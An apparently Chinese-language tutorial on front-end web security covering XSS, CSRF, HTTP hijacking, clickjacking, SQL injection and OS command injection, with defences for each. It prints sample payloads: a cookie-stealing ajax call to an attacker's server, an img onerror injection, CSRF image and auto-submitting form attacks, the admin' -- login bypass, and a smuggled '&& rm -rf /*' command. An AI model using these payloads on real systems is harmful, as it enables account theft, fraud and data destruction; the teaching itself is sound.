寫在前面:web安全在當下是個不可避免的問題,想要完成一個“安全”的產品,需要前后端都做好抵御攻擊和安全隱患的防護,這里筆者就前端安全的方面做一個較為全面的攻略以待備用。
為什么要攻擊
這里引用一位大牛的話:開發者不可能確保自己的應用絕對無法被攻擊,但是只要攻擊我們的時候,黑客花費的成本遠比他要可以獲取的利益大得多,黑客就不會去攻擊。總而言之,提高我們產品的安全系數,雖然不能做到“絕對”,但起碼能“很安全”。
前端攻擊都有哪些形式
1:XXS攻擊
1.1 是什么
百度百科的定義是:XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。因此我們可以直接理解為一種javascript代碼注入。根據攻擊的來源,XSS 攻擊可分為存儲型
、反射型
和DOM 型
三種。
那如何實現代碼注入呢?我們知道,當瀏覽器遇到html中的script標簽的時候,會解析并執行標簽中的js腳本代碼,那么如果有心者在可輸入框中輸入含有script標簽的話,就可以執行其中的代碼了。
場景如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<input type="text" name="aa" id="aa" onchange="dochange()"/>
<div id="text"></div>
<script>
let value = '';
dochange = () => {
value = document.getElementById("aa").value;
$('div').html(value);
}
</script>
</body>
</html>
可以看到當使用jquery的DOM插入方法來顯示值的話,能夠執行其中的html代碼。(這里我還驗證了react的傳值方法,發現目前的主流框架已經做了一些處理不會發生此類情況)。所以當有心者在輸入框中執行以下代碼,就可以拿到用戶在這個域名下的cookie或者其他隱私了。
$.ajax({
url: '自己的服務器',
dataType: 'jsonp',
data: {'盜取的用戶cookie': document.cookie}
});
此類狀況的解決方式
1.1.1 如何解決
1:將script標簽的左右尖括號(><)進行轉義再賦值。
2:通過前端輸入判斷禁止特殊字符的鍵入。
3:使用$.text()方法來動態賦值。
1.2 img標簽的注入
用戶分享圖片的正常情況下,我們會給img的src附上一個url地址作為圖片的資源,但是如果我們附上的地址為\" onerror=\"javascript:alert('error');\"
時,將會執行onerror里的方法。這就引發了注入的攻擊。
1.1.2 如何解決
如1.1.1,對圖片地址再進行轉義。
1.3 url的注入
可能存在這樣的場景,就是有時候編程人員會直接從url獲取某些值作為變量輸入,但是,這里面存在一個風險,如果有心者在URL的這個參數中,加入js代碼,這樣便又會被執行。
場景如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<input type="text" name="aa" id="aa" onchange="dochange()"/>
<div id="text"></div>
<script>
let value = '';
var param = window.location.search.split("?");
value = decodeURI(param[1]);
$('div').html(value);
</script>
</body>
</html>
1.1.3 如何解決
像這種從url中獲取的信息,筆者建議,最好由后端獲取,在前端轉義后再行輸出。避免直接從url上面讀取。另外鏈接跳轉,如 <a href="xxx" 或 location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的鏈接,和其他非法的 scheme
1.4 保護好cookie
如果道高一尺,還是不幸被攻擊者攻擊了,又該如何。其實,很多時候,我們的敏感信息都是存儲在cookie中的(所以不要把用戶機密信息放在網頁中),想要阻止黑客通過js訪問到cookie中的用戶敏感信息。那么請使用cookie的HttpOnly屬性,加上了這個屬性的cookie字段,js是無法進行讀寫的,只能從后端獲取。(好像只能通過后端的方式來設置)
1.5 設置內容安全策略
CSP其實就是一個白名單策略,允許的域才能加載,其他一律拒絕。
使用CSP有兩種模式:meta設置
和http響應頭設置
meta設置
<meta http-equiv="Content-Security-Policy" content="CSP指令">
http響應頭設置
response: {
Content-Security-Policy: "CSP指令"
}
CSP指令集合:
default-src // 默認規則,某些類型沒有特定規則時,則使用默認規則
script-src // javascript規則
style-src // 樣式規則
img-src // 圖片規則
connect-src // 鏈接規則,如ajax、websocket
font-src // 字體規則
object-src // 標簽引入flash插件的規則
media-src // <video> <audio>引入多媒體的規則
frame-src // iframe加載規則
report-uri // 請求策略不被允許時,提交日志的地址
CSP指令集合:
空 // 不做限制
'none' // 不允許任何內容
'self' // 允許同源(協議/域名/端口)
data // data協議,如base64的圖片
binnie.qq.com // 指定域名
*.qq.com // 指定某個域
https://binnie.qq.com // 指定協議域名
https: // 允許https
'unsafe-inline' // 允許加載inline資源
'unsafe-eval' // 允許動態js,如eval()
2 CSRF攻擊
2.1 CSRF攻擊是什么
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”。簡單得說就是網站中的一些提交行為和信息,被黑客利用,你在訪問黑客的網站的時候,進行的操作,會被操作到其他網站上。
2.2 get請求式攻擊
這種方式的攻擊在jsonp型的接口里很常見。由于jquery的jsonp方式可以跳過客戶端的同源策略跨域請求jsonp;
<img src="http://bank.example/withdraw?amount=10000&for=hacker" >
在受害者訪問含有這個img的頁面后,瀏覽器會自動向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker
發出一次HTTP請求。bank.example就會收到包含受害者登錄信息的一次跨域請求。
2.3 post請求式攻擊
這種類型的CSRF利用起來通常使用的是一個自動提交的表單,如:
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
當用戶打開安全網站后,在信息驗證有效期內訪問攻擊網站的時候,表單會自動提交,相當于模擬用戶完成了一次POST操作。
2.4 CSRF特點
- 攻擊一般發起在第三方網站,而不是被攻擊的網站。
- 攻擊利用受害者在被攻擊網站的登錄憑證,冒充受害者提交操作;
- 跨站請求可以用各種方式:圖片URL、超鏈接、CORS、Form提交等等。部分請求方式可以直接嵌入在第三方論壇、文章中,難以進行追蹤。
總之,CSRF通常是跨域的,因為外域通常更容易被攻擊者掌控。但是如果本域下有容易被利用的功能,比如可以發圖和鏈接的論壇和評論區,攻擊可以直接在本域下進行,這樣就跨過同源策略,導致更容易受到CSRF攻擊。
2.5 CSRF防御
1:同源檢測
后端可以使用Referer Header確定來源域名。因為根據HTTP協議,在HTTP頭中有一個字段叫Referer,記錄了該HTTP請求的來源地址。對于Ajax請求,圖片和script等資源請求,Referer為發起請求的頁面地址。對于頁面跳轉,Referer為打開頁面歷史記錄的前一個頁面地址。但是這種方法并非萬無一失,Referer的值是由瀏覽器提供的,并不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴于第三方(即瀏覽器)來保障。而且在部分情況下,攻擊者可以隱藏,甚至修改自己請求的Referer。
2:CSRF Token
首先,當用戶打開頁面的時候,服務器需要給這個用戶生成一個Token,該Token通過加密算法對數據進行加密,一般Token都包括隨機字符串和時間戳的組合。因此,為了安全起見Token最好還是存在服務器中,在頁面提交的請求攜帶這個Token,然后通過服務器驗證Token是否正確。當用戶從客戶端得到了Token,再次提交給服務器的時候,服務器需要判斷Token的有效性,驗證過程是先解密Token,對比加密字符串以及時間戳,如果加密字符串一致且時間未過期,那么這個Token就是有效的。
3:添加驗證碼
在必要的且信息敏感的使用場景中加入驗證碼操作來驗證用戶信息。
3:HTTP劫持
3.1 什么是HTTP劫持
HTTP劫持是在使用者與其目的網絡服務所建立的專用數據通道中,監視特定數據信息,提示當滿足設定的條件時,就會在正常的數據流中插入精心設計的網絡數據報文,目的是讓用戶端程序解釋“錯誤”的數據,并以彈出新窗口的形式在使用者界面展示宣傳性廣告或者直接顯示某網站的內容。————百度百科
其實除了HTTP劫持之外還有DNS劫持,只是已經被嚴管了,發生的概率較小。
3.2 劫持分類
按照劫持的方法不同,將劫持分為下面兩類:
跳轉型劫持:用戶輸入地址A,但是跳轉到地址B
注入型劫持:有別于跳轉型型劫持,指通過在正常的網頁中注入廣告代碼(js、iframe等),實現頁面彈窗提醒或者底部廣告等,又分為下面三個小類:
注入js類劫持:在正常頁面注入劫持的js代碼實現的劫持
iframe類劫持:將正常頁面嵌入iframe或者頁面增加iframe頁面
篡改頁面類劫持:正常頁面出現多余的劫持網頁標簽,導致頁面整體大小發生變化
3.3 防御劫持
1:使用HTTPS ,因為https 加了SSL協議,會對數據進行加密。
2:在開發的網頁中加入代碼過濾,利用JavaScript代碼檢查所有的外鏈是否屬于白名單。例如在window 監聽 DOMNodeInserted 事件,上報插入的dom、分析插入的dom 信息。(通常匹配所有的url,逐個比較是否白名單域名,如果不是,則判定為劫持,上報的同時,移除dom.parentNode.removeChild(dom));
4:點擊劫持
4.1:什么是劫持
點擊劫持是一種視覺欺騙的攻擊手段。攻擊者將需要攻擊的網站通過 iframe 嵌套的方式嵌入自己的網頁中,并將 iframe 設置為透明,在頁面中透出一個按鈕誘導用戶點擊。比如,用戶在登陸 A 網站的系統后,被攻擊者誘惑打開第三方網站,而第三方網站通過 iframe 引入了 A 網站的頁面內容,用戶在第三方網站中點擊某個按鈕(被裝飾的按鈕),實際上是點擊了 A 網站的按鈕。
4.2 如何防御
設置X-FRAME-OPTIONS
X-FRAME-OPTIONS
是一個 HTTP 響應頭,在現代瀏覽器有一個很好的支持。這個 HTTP 響應頭 就是為了防御用 iframe 嵌套的點擊劫持攻擊。
該響應頭有三個值可選,分別是
-
DENY
: 表示頁面不允許通過 iframe 的方式展示 -
SAMEORIGIN
: 表示頁面可以在相同域名下通過 iframe 的方式展示 -
ALLOW-FROM
: 表示頁面可以在指定來源的 iframe 中展示
5:SQL注入
5.1:SQL注入是什么
SQL注入
是一種常見的Web安全漏洞,攻擊者利用數據庫這個漏洞,可以訪問或修改數據,或者利用潛在的數據庫漏洞進行攻擊。
5.2:SQL注入攻擊過程
比如在前端的登錄表單提交時
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陸" /></p>
</form>
后端的 SQL 語句可能是如下這樣的:
let querySQL = `
SELECT *
FROM user
WHERE username='${username}'
AND psw='${password}'
`;
如果有一個惡意攻擊者輸入的用戶名是 admin' --
,密碼隨意輸入,就可以直接登入系統了,因為
SELECT * FROM user WHERE username='admin' --' AND psw='xxxx'
在 SQL 中,' --
是閉合和注釋的意思,--
是注釋后面的內容的意思,所以查詢語句就變成了:
SELECT * FROM user WHERE username='admin'
所以,一次SQL注入的過程包括以下幾個過程:
1.獲取用戶請求參數
2.拼接到代碼當中
3.SQL語句按照我們構造參數的語義執行成功
SQL注入的本質:數據和代碼未分離,即數據當做了代碼來執行。
5.3:SQL注入防御
1:嚴格限制Web應用的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的最低權限,從而最大限度的減少注入攻擊對數據庫的危害
2:后端代碼檢查輸入的數據是否符合預期,嚴格限制變量的類型,例如使用正則表達式進行一些匹配處理。
3:對進入數據庫的特殊字符(',",\,<,>,&,*,; 等)進行轉義處理,或編碼轉換。
4:所有的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中,即不要直接拼接 SQL 語句。
6:OS注入
6.1:OS注入是什么
OS注入和SQL注入類似,OS命令注入是針對操作系統的攻擊。OS命令注入攻擊指通過Web應用,執行非法的操作系統命令達到攻擊的目的。只要在能調用Shell函數的地方就有存在被攻擊的風險。倘若調用Shell時存在疏漏,就可以執行插入的非法命令。因為命令注入攻擊可以向Shell發送命令,讓Windows或Linux操作系統的命令行啟動程序。也就是說,通過命令注入攻擊可執行操作系統上安裝著的各種程序。
6.2:OS注入攻擊過程
假如需要實現一個需求:用戶提交一些內容到服務器,然后在服務器執行一些系統命令去返回一個結果給用戶
// 以 Node.js 為例,假如在接口中需要從 github 下載用戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* 用戶輸入的參數 */};
exec(`git clone ${params.repo} /some/path`);
params.repo
傳入的是 https://github.com/admin/admin.github.io.git
確實能從指定的 git repo 上下載到想要的代碼。
但是如果 params.repo 傳入的是 https://github.com/xx/xx.git && rm -rf /* &&
恰好你的服務是用 root 權限起的就糟糕了。
6.3:OS注入防御
- 后端對前端提交內容進行規則限制(比如正則表達式)。
- 在調用系統命令前對所有傳入參數進行命令行參數轉義過濾。
- 不要直接拼接命令語句,借助一些工具做拼接、轉義預處理